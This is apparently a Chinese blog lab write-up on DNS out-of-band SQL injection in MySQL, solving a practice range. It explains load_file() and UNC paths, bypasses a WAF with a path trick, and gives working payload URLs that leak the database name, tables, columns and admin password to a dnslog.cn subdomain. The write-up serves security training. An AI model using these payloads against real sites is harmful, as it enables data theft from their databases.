17、注入篇--DNS注入(MySQL)

DNS注入

DNS注入也称DNS带外注入、DNSLog注入

DNS

​ DNS(Domain Name System)域名系统,将域名与IP地址相互映射的一个分布式数据库

DNS注入核心是 将盲注变为显错注入

DNS-log

​ DNS服务器的解析记录

注入基础

1、load_file() 读取文件的函数

​ 读取文件并返回文件内容为字符串

​ 要使用此函数文件必须位于主服务器上,必须指定完整路径的文件,而且必须有file权限

​ 该文件所有字节可读,但文件内容必须小于max_allower_packet(限制server接收的数据包大小函数,默认1MB)

​ 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回NULL1

​ load_file() 是数据库函数

​ 该功能不是默认开启的,需要在MySQL配置文件加一句:secure_file_priv=

2、UNC路径

​ UNC(Universal Naming Convention)

​ 通用命名规则,也称通用命名规范、通用命名约定

​ UNC路径:

  • 格式:\\servername\sharename (servername–服务器名;sharename共享资源的名称)

  • 目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename

  • unc共享就是指网络硬盘的共享

  • UNC路径也可以这样写:

    //servername/sharename [ 建议这样写 ]

DNS-LOG平台:http://www.dnslog.cn/ 可以记录 是否有人访问了该域名,并且记录域名是什么

3、concat() 字符串连接函数

DNS注入缺陷

  1. 目标必须有网络
  2. Windows机器较为常见

注意:

  • index.php/1.txt?id=1
  • 当1.txt不存在时,就会检测上一级 文件是否存在
  • 如果上一级文件存在,就会把id=1传参给index.php

靶场

1、进入靶场,看到源码,可以使用id进行传值
在这里插入图片描述
在这里插入图片描述

2、使用?id=1 and 1=1 有WAF
在这里插入图片描述

3、使用/1.txt?id=1 进行绕过 并分别输入 and 1=1 和 and 1=2 进行探测
绕WAF:
1、绕规则
2、绕检测
3、白名单

and 1=1
在这里插入图片描述

and 1=2
在这里插入图片描述

4、使用DNS注入,用load_file()函数构造payload 爆出数据名名:

http://xxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,database(),’.h3uk2s.dnslog.cn/abc’)))

在这里插入图片描述

5、构造payload 爆出当前数据库下的表名:

爆出第一个表名 admin

http://xxxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select table_name from 
information_schema.tables where table_schema=database() limit 0,1),’.h3uk2s.dnslog.cn/abc’)))

注意:.h3uk2s.dnslog.cn/abc 中的abc存不存在 不重要
在这里插入图片描述

爆出第二条表名 news
在这里插入图片描述

爆出第三条表名时 无反应
在这里插入图片描述

故判断 只有两张表 admin news

6、构造payload爆出admin表下的字段名
爆出第一个字段名id

http://xxxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,
(select column_name from information_schema.columns where table_schema=database() and table_name=’admin’ 
limit 0,1),’.h3uk2s.dnslog.cn/abc’)))

在这里插入图片描述

爆出第二个字段名 limit 1,1 username
在这里插入图片描述

爆出第三个字段名limit 2,1 password
在这里插入图片描述

爆出第四个字段名时 limit 3,1 无反应
故判断 admin表下总共3个字段 id、username、password

7、flag可能在password字段中,所以构造payload 爆出password字段中的信息
爆出第一条信息

http://xxxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,
(select password from admin limit 0,1),’.h3uk2s.dnslog.cn/abc’)))

在这里插入图片描述

使用limit 1,1 没有反应
在这里插入图片描述

故判断只有一条信息
8、得到flag,通关

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值